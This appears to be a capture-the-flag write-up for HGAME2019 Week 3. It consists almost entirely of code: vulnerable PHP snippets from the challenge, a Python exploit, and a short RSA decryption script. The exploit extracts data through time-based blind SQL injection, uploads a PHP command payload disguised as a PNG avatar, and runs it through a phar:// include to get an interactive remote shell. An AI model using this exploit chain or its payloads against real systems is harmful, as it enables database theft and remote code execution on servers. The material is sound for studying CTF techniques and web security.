HGAME2019 - Week 3 writeup

<?php
session_start();
error_reporting(0);

    if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
    {
        $username = (string)$_POST['username'];
        $password = (string)$_POST['password'];
        $code     = (string)$_POST['code'];

        if (($username == $password ) or ($username == $code)  or ($password == $code)) { 
            echo "Your input can't be the same";
        } 
        else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
            echo "Good"; 

            header('Location: admin.php');  
            exit();
        } else {
            echo "<pre> Invalid password</pre>";
        }
    }

// ...[OMITTED]...

// functions.php
// ...[OMITTED]...
function upload_avatar()
{
    $type = $_FILES['file']['type'];
    $user_id = $_SESSION['user_id'];
    if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
        $avatar = get_avatar($user_id);
        if ($avatar == null) {
            $name = rand_filename();
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
            $sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
            sql_query($sql_query);
        } else {
            move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");

        }
    }
}
// ...[OMITTED]...

import requests
import json
import re
import string
from time import time, sleep
import os

CHARS = string.ascii_lowercase + string.digits
tokenPattern = re.compile(r"<input\s{1}type='hidden'\s{1}value='([^']*)'\s{1}id='token'>")
outputPattern = re.compile(r'</ul>\n</div>([\s\S]*)<script\s{1}type')
baseUrl = 'http://[REDACTED]/'
urlForLogin = baseUrl + 'login.php'
urlForToken = baseUrl + 'index.php?action=user'
urlForAddMessage = baseUrl + 'messages_api.php?action=add'
urlForGetNewMessage = baseUrl + 'messages_api.php?action=get_new&start=1'
urlForInjection = baseUrl + 'messages_api.php?action=delete'
urlForUpload = baseUrl + 'change_info.php?action=uploadavatar'
urlForExec = baseUrl + 'index.php?action=phar://img/avatar/{0}.png/test'

payloadTemplate = "<?php\n$row = exec('{command}',$output,$error);\nwhile(list(,$row)=each($output)){\necho $row,'\\n';\n}\nif($error){\necho 'Error: $error\\n';\n}"

r = requests.Session()

response = r.get(urlForLogin)
token = tokenPattern.findall(response.text)[0]
response = r.post(urlForLogin, data={'username': 'ddmin', 'password': '1234567', 'token': token})

if os.path.exists('temp') == False:
    os.system('mkdir temp')
if os.path.exists('temp/avatarFileName'):
    with open('temp/avatarFileName', 'r') as f:
        avatarFileName = f.readline()
else:
    response = r.get(urlForToken)
    token = tokenPattern.findall(response.text)[0]
    response = r.post(urlForAddMessage, data={'new_message': 'this is a test', 'token': token})
    response = r.get(urlForGetNewMessage)
    message = json.loads(response.text)['content'][0]
    messageId = message['message_id']

    injectionResult = []
    injectionPayloadTemplate = "{0} and if((ascii(substr((select `avatar` from `users` where `user_id`=39), {1}, 1))={2}), sleep(3), 0)#"
    for i in range(1, 16):
        for char in CHARS:
            response = r.get(urlForToken)
            token = tokenPattern.findall(response.text)[0]
            payload = injectionPayloadTemplate.format(messageId, str(i), ord(char))
            timeStart = time()
            response = r.post(urlForInjection, data={'message_id': payload, 'token': token})
            sec = time() - timeStart
            print("Count: {0}, Delay: {1}".format(str(i), str(sec)))
            sleep(0.1)
            if sec > 2:
                injectionResult.append(char)
                break
    avatarFileName = ''.join(injectionResult)
    with open('temp/avatarFileName', 'w') as f:
        f.write(avatarFileName)

urlForExec = urlForExec.format(avatarFileName)

while True:
    command = input('$ ')
    if command == 'exit':
        exit(0)
    payload = payloadTemplate.replace('{command}', command)
    response = r.get(urlForToken)
    token = tokenPattern.findall(response.text)[0]
    with open('temp/test.php', 'w') as f:
        f.write(payload)
    os.system('rm -f temp/test.zip.png')
    os.system('zip -j temp/test.zip.png temp/test.php')
    response = r.post(urlForUpload, files={'file': ('test.zip.png', open('temp/test.zip.png', 'rb'), 'image/png')}, data={'token': token})
    response = r.get(urlForExec)
    output = outputPattern.findall(response.text)[0].replace('\\n', '\n')
    print(output)

from fractions import gcd
import binascii

def exGCD(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = exGCD(b % a, a)
        return (g, x - (b // a) * y, y)

def invMod(a, m):
    g, x, y = exGCD(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def invalidPubExponent(c, p, q, e):
    totientN = (p-1)*(q-1)
    n = p*q
    GCD = gcd(e, totientN)
    if(GCD == 1):
        return "[X] This method only applies for invalid Public Exponents."
    d = invMod(e//GCD,totientN)
    c = pow(c,d,n)
    import sympy
    plaintext = sympy.root(c,GCD)
    return plaintext

e = 12
p = 58380004430307803367806996460773123603790305789098384488952056206615768274527
q = 81859526975720060649380098193671612801200505029127076539457680155487669622867
c = 206087215323690202467878926681944491769659156726458690815919286163630886447291570510196171585626143608988384615185921752409380788006476576337410136447460

plaintext = invalidPubExponent(c, p, q, e)

print(binascii.a2b_hex('%x' % plaintext))